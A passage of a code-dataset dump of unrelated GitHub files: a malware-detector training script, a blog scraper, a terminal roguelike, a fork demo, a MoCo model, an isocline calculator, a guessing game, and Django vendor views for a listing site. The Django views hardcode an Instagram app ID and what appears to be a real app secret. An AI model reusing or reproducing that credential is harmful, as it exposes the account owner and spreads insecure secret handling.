\"--extension\",\n required=True,\n help=\"File extension of dataset files\"\n )\n parser.add_argument(\n \"-w\",\n \"--width\",\n type=int,\n default=1e4,\n help=\"Width to be used for cnn-lstm model\"\n )\n parser.add_argument(\n \"-m\",\n \"--max_epochs\",\n type=int,\n default=200,\n help=\"Maximum number of epochs\"\n )\n parser.add_argument(\n \"-pa\",\n \"--patience\",\n type=int,\n default=10,\n help=\"Maximum number of epochs\"\n )\n parser.add_argument(\n \"-bs\",\n \"--batch_size\",\n type=int,\n default=512,\n help=\"Size of each training batch\"\n )\n parser.add_argument(\n \"--use-subset\",\n default=False,\n help=\"Use subset\"\n )\n parser.add_argument(\n \"--test-only\",\n default=False,\n help=\"Path to model to be tested\"\n )\n parser.add_argument(\n \"--reuse-test\",\n default=False,\n help=\"Path to model to be tested\"\n )\n parser.add_argument(\n \"--test-injected\",\n default=False,\n help=\"Path to injected dataset to be tested\"\n )\n parser.add_argument(\n \"--injected-subdir\",\n default=False,\n help=\"Path to injected dataset to be tested\"\n )\n parser.add_argument(\n \"--online-injection\",\n default=False,\n help=\"Sets if the test set should be used for injection tests\"\n )\n parser.add_argument(\n \"--binarize\",\n default=None,\n type=str,\n help=\"Sets if the dataset should be binarized.\"\n )\n parser.add_argument(\n '--test-npz',\n nargs='+',\n help='List of npz datasets to be tested',\n default=[],\n required=False\n )\n parser.add_argument(\n '--augment',\n choices=[\n 'reorder',\n 'inject',\n ],\n default=[],\n nargs='+',\n help='List of augmentation methods to be performed',\n required=False\n )\n\n return parser.parse_args(argv)\n\ndef main(args):\n\n allowed_extensions =[\n 'png',\n 'exe',\n 'npz'\n ]\n\n augmenters = []\n for augment_option in args.augment:\n if augment_option == 'inject':\n augmenters.append(RandomInjection((5,5)))\n if augment_option == 'reorder':\n augmenters.append(RandomReorder())\n\n # Check if path exists\n if not os.path.isdir(args.path):\n raise Exception(\"The provided path is not a valid dataset.\")\n if args.extension not in allowed_extensions:\n raise Exception(\"{} is not a valid extension.\".format(args.extension))\n\n # Run training method\n try:\n # Define which technique will be used\n if args.technique == 'knn_gist':\n model = Nataraj2011.KNN(args.path,\n ext=args.extension,\n descriptor='GIST')\n elif args.technique == 'knn_lbp':\n model = Nataraj2011.KNN(args.path,\n ext=args.extension,\n descriptor='LBP',\n height=256,\n width=256)\n elif args.technique == 'malconv':\n model = Raff2017.Malconv(args.path,\n max_len=args.width,\n max_epochs=args.max_epochs,\n patience=args.patience,\n batch_size=args.batch_size)\n elif args.technique == 'le2018-cnn':\n model = Le2018.CNN(args.path,\n args.extension,\n max_len=args.width,\n max_epochs=args.max_epochs,\n patience=args.patience,\n batch_size=args.batch_size,\n use_lstm=False,\n use_lstm_bidirectional=False)\n elif args.technique == 'le2018-cnn-lstm':\n model = Le2018.CNN(args.path,\n args.extension,\n max_len=args.width,\n max_epochs=args.max_epochs,\n patience=args.patience,\n batch_size=args.batch_size,\n use_lstm=True,\n use_lstm_bidirectional=False)\n elif args.technique == 'le2018-cnn-lstm-bidirectional':\n model = Le2018.CNN(args.path,\n args.extension,\n max_len=args.width,\n max_epochs=args.max_epochs,\n patience=args.patience,\n batch_size=args.batch_size,\n use_lstm=True,\n use_lstm_bidirectional=True)\n elif args.technique == 'inceptionv1':\n model = Chen2018.InceptionV1(args.path,\n args.extension,\n max_epochs=args.max_epochs,\n patience=10,\n batch_size=64,\n height=299,\n width=299,\n learning_rate=1e-4,\n lr_treshold=1e-5)\n else:\n raise Exception(\"The technique '{}' is not defined!\".format(args.technique))\n\n if (args.test_only is not False):\n model_path = os.path.abspath(args.test_only)\n if not args.test_npz:\n if not args.reuse_test:\n model.test(path=model_path)\n else:\n with open(args.reuse_test, 'r') as test_file:\n # Test files are saved as 'path,label'\n test_data = [(i.rstrip().split(',')[0], int(i.rstrip().split(',')[1]) ) for i in test_file.readlines()]\n model._test(0, model_path, test_data)\n else:\n for npz in args.test_npz:\n model._test_injected(npz, 0, model_path=model_path)\n else:\n model.train(n_folds=args.folds,\n split_method=args.split_method,\n use_subset=args.use_subset,\n test_npz=args.test_npz,\n augmenters=augmenters)\n if (args.test_injected is not False and args.injected_subdir is not False):\n model.test_injected(args.test_injected, args.injected_subdir, sections=5, bytes=5, bytes_start=1, bytes_increment=1)\n if (args.online_injection is not False):\n model.test_online_injection()\n except KeyboardInterrupt:\n raise Exception(\"***** Ctrl+C received! EOF\")\n\n return 0\n\nif __name__ == \"__main__\":\n arguments = get_args()\n main_logger = Data.Logger()\n\n main(arguments)\n # try:\n # main(arguments)\n # except Exception as instance:\n # main_logger.exception(instance)\n","repo_name":"adeilsonsilva/malware-injection","sub_path":"code/src/run_ml_model.py","file_name":"run_ml_model.py","file_ext":"py","file_size_in_byte":8731,"program_lang":"python","lang":"en","doc_type":"code","stars":36,"dataset":"github-code","pt":"78"} +{"seq_id":"40090444009","text":"#coding=utf-8\n__author__ = 'melody'\n\nfrom lxml.html import fromstring\nimport urllib.request as request\nimport sys\nimport datetime\nimport pymysql\nimport time\n\n\n\n#sql:\n#CREATE TABLE `weibo_rank` (\n# `id` int(11) NOT NULL AUTO_INCREMENT,\n# `rank_num` varchar(16) DEFAULT NULL,\n#`blog_name` varchar(32) NOT NULL,\n# `blog_url` varchar(128) DEFAULT NULL,\n# `blog_belong` varchar(16) NOT NULL,\n# `visited_num` varchar(16) NOT NULL,\n# PRIMARY KEY (`id`)\n#) ENGINE=InnoDB AUTO_INCREMENT=1001 DEFAULT CHARSET=utf8\n\n\nstart_time = datetime.datetime.now()\n\nconfig = {\n 'user': '****',\n 'passwd': '****',\n 'host': '127.0.0.1',\n 'db': '****',\n 'charset': 'utf8',\n}\n\ndef insert_info(tmp):\n conn = pymysql.connect(**config)\n cursor = conn.cursor()\n sql = \"insert into weibo_rank(rank_num,blog_name,blog_url,blog_belong,visited_num) values(%s,%s,%s,%s,%s)\"\n cursor.execute(sql, tmp)\n conn.commit()\n cursor.close()\n conn.close()\n\nurl_front = r'http://blog.sina.com.cn/lm/iframe/top/'\nsuffix = '.html'\npreffix = 'alltop_more_new_'\n# url_next='alltop_more_new_1.html'\npage_num = 1\nrank_num = []\nblog_name = []\nblog_belong = []\nblog_url = []\nvisited_num = []\ni = 1\nwhile page_num < 11:\n\n url_next = preffix + str(page_num) + suffix\n try:\n response = request.urlopen(url_front + url_next)\n time.sleep(1)\n except:\n print(u'连接网络失败')\n response = None\n sys.exit(0)\n doc = response.read().decode('gbk')\n html_src = fromstring(doc)\n tr = html_src.cssselect('tr')[1:]\n\n for tr_content in tr:\n rank_num.append(tr_content.cssselect('span')[0].text)\n blog_name.append(tr_content.cssselect('a')[0].text)\n blog_belong.append(tr_content.cssselect('a')[1].text)\n blog_url.append(tr_content.cssselect('a')[0].attrib.get('href'))\n # print(page_num,i)\n if page_num == 1 and i <= 3:\n i += 1\n visited_num.append(tr_content.cssselect('font')[0].text.strip())\n else:\n visited_num.append(tr_content.cssselect('td')[-1].text.strip())\n\n page_num += 1\n\n# rank_num,blog_name,blog_url,blog_belong,visited_num\ntmp_list = []\nfor i in range(len(rank_num)):\n tmp = tuple([rank_num[i], blog_name[i], blog_url[i], blog_belong[i], visited_num[i]])\n tmp_list.append(tmp)\n insert_info(tmp_list[i])\n#return tmp_list\n\nend_time = datetime.datetime.now()\n#print(len(visited_num))\n#print(visited_num[1])\n\nprint(\"run time:{}\".format((start_time - end_time).seconds))\n","repo_name":"Melody12ab/python_crawler","sub_path":"scrapyfun/weibo_rank.py","file_name":"weibo_rank.py","file_ext":"py","file_size_in_byte":2505,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"73593690171","text":"#!/usr/bin/env python3\n# Header {{{\nimport cProfile\nimport sys\nimport random\nfrom random import random as rand\n\nfrom time import sleep\nfrom itertools import *\nfrom avkutil import Term\n# cProfile.runctx(\"m.dir_move('h' if rand()>0.5 else 'l')\", globals(), locals())\n\nfrom copy import copy\nfrom board import Board, Loc, ModLoc, is_blocked, sizex, sizey\nfrom piece import Being, Piece, Item\nimport board\nimport items\n\"\"\"\nSidescrol - a side scrolling roguelike.\n\"\"\"\n\n# sizex, sizey = 79*1 + 1, 21*1 + 1\npieces = {}\nplayer = '@'\nNUM_MONSTERS = 5000\n\n# UTILS\nrand_choice = lambda seq, default=None: random.choice(seq) if seq else default\nmkrow = lambda size: [board.blank] * size\nincl_range = lambda a,b: range(a, b+1)\nin_order_range = lambda a,b: incl_range(*sorted((a,b)))\ninverted = lambda x: int(not x)\nis_even = lambda x: x%2==0\ndir2coord = lambda a: 0 if is_even(a) else 1\nat_dim = lambda a,b,d: (a[d], b[d]) # values at `d` dimension\ndist2 = lambda a,b: abs(a[0]-b[0])==2 or abs(a[1]-b[1])==2 # DIST=2 in one of the dimensions?\n\n# assuming DIST=2, return the first dimension where that is true\ndist2_dim = lambda a,b: 0 if abs(a[0]-b[0])==2 else 1\ndist1 = lambda a,b: abs(a[0]-b[0])==1 or abs(a[1]-b[1])==1 # DIST=1 in one of the dimensions?\nsame_dim_2 = lambda *a: dist2(*a) and same_dim(*a) # ALONG same dim, DIST=2\ncan_move = lambda B,a,b: B[a]!=board.blank and B[b]==board.blank\n\nnext_to_both = lambda a,b,n: dist1(a,n) and dist1(b,n) # not used\n# }}}\n\ndef line(coord, loc1, loc2):\n for a in in_order_range(loc1[coord], loc2[coord]):\n opp = inverted(coord)\n yield Loc(vals={coord: a, opp: loc1[opp]})\n\ndef strjoin(seq, sep=' '):\n return sep.join(str(x) for x in seq)\n\nclass InvalidMove(Exception):\n pass\n# END UTILS\n\n\n\n\nB=Board(sizex, sizey)\nterm=Term()\n\n\nitems.add_items(Item, B, Loc)\n\nmonsters=[]\nfor _ in range(NUM_MONSTERS):\n loc=B.level_random_loc()\n if loc[0]<(sizex-1) and loc[1]<(sizey-1):\n B.gen_viewport(loc)\n if B[loc] is board.blank:\n monsters.append(Being(B, 'o', loc, health=10))\n\ndef status():\n print('[%s %s] [HP %d] [dig: %d] ' % (player.loc[0]//board.vpsize.x, player.loc[1]//board.vpsize.y, player.health,\n player.dig_points))\n\nplayer = Being(B, '@', B.placeable_loc_at_vp((0,0),1), is_cursor=True, health=200, is_player=True, term=term)\nB.display()\nstatus()\n\n\nclass Sidescrol:\n def loop(self):\n while True:\n if player.program:\n player.walk()\n B.display()\n status()\n sleep(0.01)\n continue\n\n print('> ', end='')\n sys.stdout.flush()\n cmds = {'q':'quit', ',': 'pickup', 'i': 'list_inventory'}\n for c in \"hjkl\":\n cmds[c]=c\n cmds['g'+c] = 'g'+c\n cmds['\\n'] = cmds[''] = '' # wait\n\n inp = ''\n\n while True:\n inp += term.getch()\n if inp in cmds: break\n if inp.startswith('.'):\n if inp.endswith('\\n'):\n inp = inp.strip()\n break\n continue\n\n if not any(c.startswith(inp) for c in cmds):\n print(\"invalid command %s, try again..\" % inp)\n inp = ''\n break\n\n if inp in cmds or inp.startswith('.T'):\n if inp == '':\n pass\n elif inp=='q' : sys.exit()\n elif inp=='j': player.down()\n elif inp=='k': player.up()\n elif inp in \"hl\":\n player.dir_move(inp)\n elif inp[0]=='g' and inp[1] in \"hjkl\":\n player.walk(inp[1])\n elif hasattr(player, cmds[inp]):\n cmd = getattr(player, cmds[inp])\n cmd()\n elif inp[:2]=='.T':\n inp=inp[2:]\n x,y = map(int, inp.split(','))\n player.move((x,y))\n else:\n pass\n\n for n, m in enumerate(monsters):\n # if n%1000==0: print('n',n)\n if abs(player.loc[0]-m.loc[0]) < 79*10 and abs(player.loc[1]-m.loc[1]) < 21*10:\n # m.dir_move('h' if rand()>0.5 else 'l')\n m.program_move()\n elif rand()>0.95:\n m.program_move()\n B.display()\n status()\n for m in B.messages:\n print(m)\n B.messages = []\n\ndef main():\n s=Sidescrol()\n s.loop()\n for _ in range(0):\n player.dir_move('r')\n B.display()\n sleep(0.05)\nmain()\n","repo_name":"akulakov/sidescrol","sub_path":"sidescrol.py","file_name":"sidescrol.py","file_ext":"py","file_size_in_byte":4802,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"25918216605","text":"# fork solo funciona en unix/macos\r\nimport os\r\n\r\n\r\ndef padre():\r\n while True:\r\n newpid = os.fork()\r\n if newpid == 0:\r\n hijo()\r\n else:\r\n pids = (os.getpid(), newpid)\r\n print(\"Padre: %d, Hijo: %d\\n\" % pids)\r\n reply = input(\"Pulsa 's' si quieres crear un nuevo proceso\")\r\n if reply != 's': \r\n break\r\n \r\ndef hijo():\r\n print('\\n>>>>>>>>>> Nuevo hijo creado con el pid %d a punto de finalizar<<<<<' % os.getpid())\r\n os._exit(0) \r\n\r\npadre()","repo_name":"Marcombo/Programacion_de_servicios_y_procesos_en_Python","sub_path":"Procesos/P1.01-Fork.py","file_name":"P1.01-Fork.py","file_ext":"py","file_size_in_byte":504,"program_lang":"python","lang":"es","doc_type":"code","stars":4,"dataset":"github-code","pt":"78"} +{"seq_id":"10412284582","text":"import numpy as np\nimport torch\nfrom Models.networks import *\nfrom Models.BaseModel import BaseModel\nimport utils\nimport torchvision.models as models\n\nclass MoCo(BaseModel):\n def __init__(self,config):\n BaseModel.__init__(self,config)\n if not config['eval']:\n self.model = MoCoNetwork(dim=config['dim'],K=config['K'],m=config['m'],T=config['T'],neg_alpha=config['neg_alpha'])\n else:\n self.model = FaceCycleBackbone()\n if config['continue_train']:\n self.model = torch.nn.DataParallel(self.model).cuda()\n self.model.load_state_dict(torch.load(config['load_model'])['state_dict'])\n elif config['eval']:\n self.model.fc = torch.nn.Identity()\n state_dict = torch.load(config['load_model'])['state_dict']\n for k in list(state_dict.keys()):\n if k.startswith('module.encoder_q') and not k.startswith('module.encoder_q.fc'):\n state_dict[k[len(\"module.encoder_q.\"):]] = state_dict[k]\n del state_dict[k]\n\n #self.model = torch.nn.DataParallel(self.model).cuda()\n self.model = self.model.cuda()\n msg = self.model.load_state_dict(state_dict,strict=False)\n assert set(msg.missing_keys) == set()\n else:\n self.model = torch.nn.DataParallel(self.model).cuda()\n\n self.criterion = nn.CrossEntropyLoss().cuda()\n if not config['eval']:\n self.optimizer = torch.optim.SGD(self.model.parameters(),config['lr'],\n momentum=config['momentum'],\n weight_decay=config['wd'])\n\n def optimize_parameters(self,data):\n self.model.train()\n\n logits,labels = self.forward(data)\n loss = self.criterion(logits,labels)\n\n acc1,acc5 = utils.accuracy(logits,labels,(1,5))\n\n self.optimizer.zero_grad()\n loss.backward()\n self.optimizer.step()\n\n return {'train_acc1':acc1,'train_acc5':acc5,'train_loss':loss}\n\n\n def forward(self,data):\n q_img = data['exp_images'][0].cuda()\n k_img = data['exp_images'][1].cuda()\n logits,labels = self.model(q_img,k_img)\n return logits,labels\n\n def linear_forward(self,data):\n img = data['img'].cuda()\n fea = self.model(img)\n return fea\n\n def eval(self,data):\n self.model.eval()\n with torch.no_grad():\n logits, labels = self.forward(data)\n\n loss = self.criterion(logits, labels)\n\n acc1, acc5 = utils.accuracy(logits, labels, (1, 5))\n\n return {'eval_acc1': acc1, 'eval_acc5': acc5, 'eval_loss': loss}\n\n def linear_forward_id(self,data):\n img1 = data['img_normal1'].cuda()\n fea1 = self.model(img1)\n\n img2 = data['img_normal2'].cuda()\n fea2 = self.model(img2)\n\n return fea1,fea2\n\n def linear_eval_id(self,data):\n self.model.eval()\n with torch.no_grad():\n fea1,fea2 = self.linear_forward_id(data)\n return fea1,fea2\n\n def linear_eval(self,data):\n self.model.eval()\n with torch.no_grad():\n fea = self.linear_forward(data)\n return fea\n\n def metric_better(self,cur,best):\n ans = best\n flag = False\n if best == None or cur < best:\n flag = True\n ans = cur\n return flag,ans\n\n def set_requires_grad(self, nets, requires_grad=False):\n \"\"\"Set requies_grad=Fasle for all the networks to avoid unnecessary computations\n Parameters:\n nets (network list) -- a list of networks\n requires_grad (bool) -- whether the networks require gradients or not\n \"\"\"\n if not isinstance(nets, list):\n nets = [nets]\n for net in nets:\n if net is not None:\n for param in net.parameters():\n param.requires_grad = requires_grad\n","repo_name":"fulaoze/CV","sub_path":"test-master/Models/moco.py","file_name":"moco.py","file_ext":"py","file_size_in_byte":3947,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"16625127406","text":"# create a detailed example\n\nimport os\nimport numpy as np\nfrom scipy.optimize import bisect\nimport pandas as pd\n\nimport sys\nsys.path.append('../../functions/')\n\nfrom my_functions import read_matrix_M, calc_p_peak_random_group, calc_delta_p_members_attract, alpha0_root_eqn_members_attract, alpha1_root_eqn_members_attract\n\n# ----------------------\n\n# user parameters\n# ---\n\n# how many increments on the x-axis for plotting\nngrid = 50\n\n# which default parameter values to use from the file default_params.csv\nsuffix = '_6'\nsuffix = '_5'\nsuffix = '_7'\n\nres_dir = '../../results/members_attract/'\n\n# fixed parameters\n# ---\n\n# all parameter names corresponding to columns in default_params.csv\npar_names = ['n', 'tau', 'W', 'X', 'Y', 'Z']\n\n\n# read in the default parameter values\n# ---\n\ndf = pd.read_csv('../default_params.csv')\ndf.set_index('suffix', inplace=True)\nparD = { par_name: df[par_name].loc[suffix] for par_name in par_names }\n\n# unpack parameter values\nn = parD['n']\ntau = parD['tau']\nW = parD['W']\nX = parD['X']\nY = parD['Y']\nZ = parD['Z']\n\n\n# get previously saved lm, partns, and M\n# ---\n\nlm, partns, M_num, M_den = read_matrix_M('../../results/matrix_M/matrix_M' + str(n) + '.csv')\nM = M_num / M_den # the matrix for converting F to theta\n\n\n# find alpha_0, the maximum mistake weighting where collectivists can still invade\n# ---\n\n# should always be able to invade when perfect homophily\nalpha_lo = 0\n# assert np.sign(alpha0_root_eqn_members_attract(parD, lm, partns, M, alpha_lo)) == 1\n\n# should never be able to invade when randomly formed\n# assert np.sign(alpha0_root_eqn_members_attract(parD, lm, partns, M, np.inf)) == -1\n\n# find an upper bound on alpha where cooperators can no longer invade by doubling\nalpha_hi = 1\nwhile np.sign(alpha0_root_eqn_members_attract(parD, lm, partns, M, alpha_hi)) == 1: # while C can invade\n alpha_hi *= 2\n\n# now you can find the alpha_0 between them\nalpha_0 = bisect(lambda alpha: alpha0_root_eqn_members_attract(parD, lm, partns, M, alpha), alpha_lo, alpha_hi)\nprint('alpha_0 = ' + str(alpha_0))\n\n\n# find alpha_1, the minimum mistake weighting where individualists can invade\n# ---\n\n# first, verify a high and low\nalpha_lo = 0\n\n# find an upper bound by doubling\nalpha_hi = 1\nwhile np.sign(alpha1_root_eqn_members_attract(parD, lm, partns, M, alpha_hi)) == -1: # while D cannot invade\n alpha_hi *= 2\n\n# find alpha_1 where D cannot invade\nalpha_1 = bisect(lambda alpha: alpha1_root_eqn_members_attract(parD, lm, partns, M, alpha), alpha_lo, alpha_hi)\nprint('alpha_1 = ' + str(alpha_1))\n\n# find p_peak (provides bound for searching for isoclines)\n# ---\n\np_peak = calc_p_peak_random_group(parD)\n\n\n# find the maximum alpha where there are two isoclines\n# ---\n\n# if Delta p at p_peak is < 0, then there are zero interior equilibria when alpha=inf;\n# otherwise, there are two\ndelta_p_at_alphainf = calc_delta_p_members_attract(parD, lm, partns, M, np.inf, p_peak)\n\nif delta_p_at_alphainf > 0:\n\n alpha_hat = np.inf\n p_at_alpha_hat = p_peak\n\nelse:\n\n # find where the transition from 2 to 0 equilibria is\n # ---\n\n print('-----')\n print('finding where the transition from 2 to 0 equilibria is')\n\n # first, find an alpha_hi where we lose the two interior equilibria \n\n alpha_hi = max((alpha_0, alpha_1))*2\n while calc_delta_p_members_attract(parD, lm, partns, M, alpha_hi, p_peak) > 0:\n alpha_hi *= 2\n\n # now find the point between alpha_lo and alpha_hi where the transition happens\n\n alpha_lo = alpha_1 if alpha_1 > alpha_0 else alpha_0\n alpha_mid = (alpha_lo + alpha_hi)/2\n p_mid = p_peak\n\n while abs(alpha_lo-alpha_hi) > 1e-4:\n\n # try to find the upper and lower isoclines at alpha_mid\n\n try:\n p_up = bisect(lambda p: calc_delta_p_members_attract(parD, lm, partns, M, alpha_mid, p), p_mid, 1-1e-6)\n except:\n p_up = np.nan\n\n try:\n p_lo = bisect(lambda p: calc_delta_p_members_attract(parD, lm, partns, M, alpha_mid, p), 1e-6, p_mid)\n except:\n p_lo = np.nan\n\n if np.isnan(p_lo) or np.isnan(p_lo):\n alpha_hi = alpha_mid # search to the left\n alpha_mid = (alpha_lo + alpha_mid)/2\n else:\n alpha_lo = alpha_mid # search to the right\n alpha_mid = (alpha_hi + alpha_mid)/2\n p_mid = (p_up + p_lo)/2\n\n print(alpha_mid)\n\n alpha_hat = alpha_lo\n p_at_alpha_hat = p_mid\n\n\n# create the grid\n# ---\n\n# we can't do a grid to infinity, so I've chosen 100 somewhat arbitrarily to produce a nice-looking graph\nalpha_grid_max = alpha_hat if not np.isinf(alpha_hat) else 100\n\nif alpha_0 < alpha_1:\n alphaV = [0, alpha_0] + list(np.linspace(alpha_0, alpha_1, ngrid//2)[1:]) + list(np.linspace(alpha_1, alpha_grid_max, ngrid)[1:])\nelse:\n alphaV = [0, alpha_1] + list(np.linspace(alpha_1, alpha_0, ngrid//2)[1:]) + list(np.linspace(alpha_0, alpha_grid_max, ngrid)[1:])\n\n# and then append the infinity point if needed\nif np.isinf(alpha_hat):\n alphaV.append(alpha_hat)\n\np_stableV = [1, 1]\np_unstableV = [0, 0]\n\n\n# fill out the rest of the isoclines\n# ---\n\nprint('-----')\nprint('finding isoclines')\n\nfor alpha in alphaV[2:]:\n\n # stable isocline\n\n if alpha <= alpha_1:\n\n p_stableV.append(1)\n\n else:\n\n deltap_lo = calc_delta_p_members_attract(parD, lm, partns, M, alpha, p_at_alpha_hat)\n deltap_hi = calc_delta_p_members_attract(parD, lm, partns, M, alpha, 1-1e-6)\n\n if np.sign(deltap_lo) != np.sign(deltap_hi):\n ps = bisect(lambda p: calc_delta_p_members_attract(parD, lm, partns, M, alpha, p), p_at_alpha_hat, 1-1e-6)\n else:\n ps = np.nan\n\n p_stableV.append(ps)\n\n\n # unstable isocline\n\n if alpha <= alpha_0:\n\n p_unstableV.append(0)\n\n else:\n\n deltap_lo = calc_delta_p_members_attract(parD, lm, partns, M, alpha, 1e-6)\n deltap_hi = calc_delta_p_members_attract(parD, lm, partns, M, alpha, p_at_alpha_hat)\n\n if np.sign(deltap_lo) != np.sign(deltap_hi):\n ps = bisect(lambda p: calc_delta_p_members_attract(parD, lm, partns, M, alpha, p), 1e-6, p_at_alpha_hat)\n else:\n ps = np.nan\n\n p_unstableV.append(ps)\n\n\n# write results to csv\n# ---\n\n# write the alphaV and isoclines \ndf_out = pd.DataFrame(list(zip(alphaV, p_stableV, p_unstableV)), columns=['alpha', 'p_stable', 'p_unstable'])\ndf_out.to_csv(res_dir + 'isocline' + suffix + '.csv', index=False)\n\n# append the critical points to file\ndfD = [{\n 'suffix': suffix,\n 'n': n,\n 'tau': tau,\n 'W': W,\n 'X': X,\n 'Y': Y,\n 'Z': Z,\n 'alpha_0': alpha_0,\n 'alpha_1': alpha_1,\n 'alpha_hat': alpha_hat,\n 'p_at_alpha_hat': p_at_alpha_hat,\n }]\ndf_out = pd.DataFrame.from_records(dfD)\nfname = res_dir + 'isocline_critpts.csv'\nif not os.path.isfile(fname):\n # write with headers\n df_out.to_csv(fname, mode='w', header=True, index=False)\nelse:\n # append\n df_out.to_csv(fname, mode='a', header=False, index=False)\n","repo_name":"nadiahpk/homophilic-threshold-PGG","sub_path":"scripts/members_attract/calc_isocline.py","file_name":"calc_isocline.py","file_ext":"py","file_size_in_byte":7048,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"41000306919","text":"import random\ndef find_number(x):\n print('=====================')\n print('WELCOME TO THE GAME')\n print('=====================')\n \n random_number = random.randint(1, x)\n\n prediction = 0\n\n while prediction != random_number:\n prediction = int(input(f'CHOOSE A NUMBER BETWEEN ONE AND {x}: '))\n if prediction < random_number:\n print('VERY LOW NUMBER')\n else:\n print('VERY BIG NUMBER')\n\n print(f'CONGRATULATIONS THE NUMBER IS {random_number}') \n\n\nchoose_number = int(input('CHOOSE ONE NUMBER: '))\nfind_number(choose_number)","repo_name":"NurAktar/python-programs","sub_path":"guess-number/guess_number.py","file_name":"guess_number.py","file_ext":"py","file_size_in_byte":585,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"72419479293","text":"import datetime\nfrom datetime import date\n\nimport requests\nfrom django.shortcuts import render, reverse, redirect\nfrom django.views import View\nfrom django.views.generic.edit import FormView, CreateView, DeleteView\nfrom django.views.generic.edit import UpdateView\nfrom django.views.generic.list import ListView\nfrom django.views.generic.detail import DetailView\nfrom listing.models import (Listing, ParentListingCategory, ListingCategory, DraftListing,\n Area, AddititionalPricing, ListingContact, ListingLocation, SubListingLocation,\n ListingPhoto, ListingVideo, ListingOffer\n )\nfrom users.models import Vendor\nfrom .models import (VenueFAQ, BridalWearFAQ, GroomWearFAQ, MakeupFAQ, PhotographerFAQ,\n DecorFAQ, InvitationFAQ, GiftsFAQ, VendorInstagramToken\n )\nfrom .forms import (ListingForm, AreaForm, AdditionalPricingForm, VenueListingForm,\n VenueFAQForm, BridalWearFAQForm, GroomWearFAQForm, MakeupFAQForm,\n PhotographerFAQForm, DecorFAQForm, InvitationFAQForm, GiftsFAQForm, ListingOfferForm\n )\n\nfrom instagram_basic_display.InstagramBasicDisplay import InstagramBasicDisplay\nfrom django.http import HttpResponse, JsonResponse, HttpResponseBadRequest, HttpResponseRedirect\nfrom django.contrib import messages\nfrom django.contrib.messages.views import SuccessMessageMixin\nfrom django.contrib.auth.mixins import LoginRequiredMixin, UserPassesTestMixin\nfrom django.core.exceptions import PermissionDenied\nimport json\nfrom datetime import date\nfrom itertools import zip_longest\nfrom vowsnviews.local_settings import Instagram_App_Id, Instagram_Secret_Key\nfrom django.utils.decorators import method_decorator\nfrom django.views.decorators.csrf import csrf_exempt\nfrom facepy import SignedRequest\n\n\nclass IsVendor:\n def dispatch(self, request, *args, **kwargs):\n if request.user.is_active and request.user.is_vendor:\n return super().dispatch(request, *args, **kwargs)\n else:\n raise PermissionDenied\n\n\ndef is_listing_assign(request):\n user = request.user\n vendor = Vendor.objects.get(vendor_user=user)\n return vendor.is_listing_on\n\n\nclass IsListingNotAssign:\n def dispatch(self, request, *args, **kwargs):\n user = request.user\n vendor = Vendor.objects.get(vendor_user=user)\n if vendor.is_listing_on:\n return redirect('vendor-home')\n else:\n return super().dispatch(request, *args, **kwargs)\n\n\n# Redirect to add liting view if not one\nclass IsListingPresent:\n def dispatch(self, request, *args, **kwargs):\n user = request.user\n vendor = Vendor.objects.get(vendor_user=user)\n if vendor.get_listing():\n return super().dispatch(request, *args, **kwargs)\n if not vendor.is_listing_on:\n return redirect('add-listing')\n else:\n return super().dispatch(request, *args, **kwargs)\n\n\ndef is_instagram_connect(request):\n user = request.user\n vendor = Vendor.objects.get(vendor_user=user)\n vendor_token = VendorInstagramToken.objects.filter(vendor=vendor).first()\n if vendor_token:\n return vendor_token\n return False\n\n\nclass VendorHomeView(LoginRequiredMixin, IsVendor, IsListingPresent, View):\n model = Vendor\n\n template_name = 'vendors/vendor_home.html'\n\n def get(self, *args, **kwargs):\n context = {}\n user = self.request.user\n context['vendor'] = vendor = self.model.objects.get(vendor_user=user)\n context['object'] = vendor.get_listing()\n context['is_listing_assign'] = is_listing_assign(self.request)\n # Inquiry List of Customer\n context['inquiry_list'] = ListingContact.objects.filter(read=False, listing=vendor.listing)\n\n # For instagram Connect\n vendor_token = is_instagram_connect(self.request)\n if not vendor_token:\n url = 'https://hospitalsystemmanagement25.pythonanywhere.com/panel/dashboard.view/'\n view_url = reverse('vendor-instagram-connect')\n\n url = self.request.build_absolute_uri(url) # full path of our app to redirect insta user\n instagram_basic_display = InstagramBasicDisplay(app_id='549315439403500',\n app_secret='0c3fd79c822b212973bbd2f63d523137',\n redirect_url='https://vowsnviews.com/auth/')\n print(\"Anikety url\",instagram_basic_display.get_login_url())\n context['instagram_connect_url'] = instagram_basic_display.get_login_url()\n else:\n\n insta_obj = vendor_token\n if insta_obj.days_remaining() < 1:\n result = refreshInstagramToken(self.request, insta_obj.id)\n if result:\n messages.success(self.request, \"Instagram Token refreshed successfully\")\n context['instagram_profile'] = insta_obj\n return render(self.request, self.template_name, context)\n\n\nclass VendorUpdateView(LoginRequiredMixin, IsVendor, IsListingPresent, SuccessMessageMixin, View):\n def post(self, request, *args, **kwargs):\n website_link = request.POST.get('website_link', None)\n name = request.POST.get('user_full_name', None)\n email = request.POST.get('email', None)\n phone_number = request.POST.get('phone_number', None)\n user = request.user\n vendor = Vendor.objects.filter(vendor_user=user).first()\n if vendor:\n if website_link:\n vendor.website_link = website_link\n vendor.save()\n if name:\n user.user_full_name = name\n if email:\n user.email = email\n if phone_number:\n user.phone_number = phone_number\n user.save()\n messages.success(request, \"Profile updated successfully\")\n return redirect('vendor-home')\n else:\n messages.warning(request, \"Vendor not found\")\n return redirect('home')\n\n\ndef parse_signed_request(signed_request):\n signed_data = SignedRequest.parse(signed_request, Instagram_Secret_Key)\n return signed_data\n\n@method_decorator(csrf_exempt)\ndef deauthorize_callback(request):\n try:\n signed_request = request.POST.get('signed_request')\n signed_data = parse_signed_request(signed_request)\n\n user_id = signed_data['user_id']\n user_token = VendorInstagramToken.objects.filter(instagram_user_id=user_id).first()\n if user_token:\n confirmation_code = 200\n else:\n confirmation_code = 403\n except:\n confirmation_code = 403\n return JsonResponse({\n 'confirmation_code': confirmation_code,\n })\n\n\n@method_decorator(csrf_exempt)\ndef delete_instagram_data(request):\n try:\n signed_request = request.POST.get('signed_request')\n signed_data = parse_signed_request(signed_request)\n\n user_id = signed_data['user_id']\n 